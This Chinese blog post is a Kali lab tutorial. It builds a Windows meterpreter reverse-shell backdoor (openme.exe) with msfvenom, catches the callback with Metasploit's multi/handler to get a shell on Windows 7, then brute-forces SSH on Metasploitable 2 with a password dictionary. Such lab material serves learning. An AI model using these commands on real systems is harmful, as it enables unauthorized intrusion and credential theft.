kali渗透实验

  • A+
所属分类:kali渗透
摘要

kali渗透实验

一、后门监听

主要步骤:

1、首先在kali上制作一个后门程序。文件名为:openme.exe

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.238.131 LPORT=5050 -f exe -o openme.exe

#本地监听地址及端口号:192.168.238.131:5050   

2、为生成的文件 openme.exe 赋予可执行的权限。

 命令:chmod 777 openme.exe

kali渗透实验

3、打开msf,加载exploit/multi/handler模块,同时设置本地主机地址,本地端口

  命令:

msfconsole 

    msf > use exploit/multi/handler

    msf exploit(handler) > set lhost 192.168.238.131       

msf exploit(handler) > set lport 5050

kali渗透实验

4、开始执行渗透攻击并监听

   命令:msf exploit(handler) > exploit -z -j

kali渗透实验

5、在win7系统上打开该文件。

6、后门程序反向连接到msf,msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。

你攻陷了别人的主机并拿到了shell,还有session信息。

命令:msf exploit(handler) > sessions

kali渗透实验

msf exploit(handler) > sessions -i 1

kali渗透实验

meterpreter > shell

kali渗透实验

7、入侵成功之后可操作win7电脑

输入:netstat ano  #列出所有的进程

kali渗透实验

二、ssh爆破密码

主要步骤:

1.使用Nmap扫描Metasloitable Linux

2 找出开放端口号。

Metasloitable Linux 2 Ip:192.168.238.129

kali渗透实验

2. 输入nmap –sV –O 192.168.238.129

kali渗透实验

3.选择攻击模块

Msfconsole

         Use auxiliary/scanner/ssh /ssh_login //选择攻击模块

         Set rhosts 192.168.238.129 //设置攻击目标ip

         Set username msfadmin   //设置攻击服务器用户

         Set pass_file /root/桌面/password  //导入字典

         Set threads 50 设置线程

          Run  //攻击

kali渗透实验
kali渗透实验

4.ssh远程连接

kali渗透实验
  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: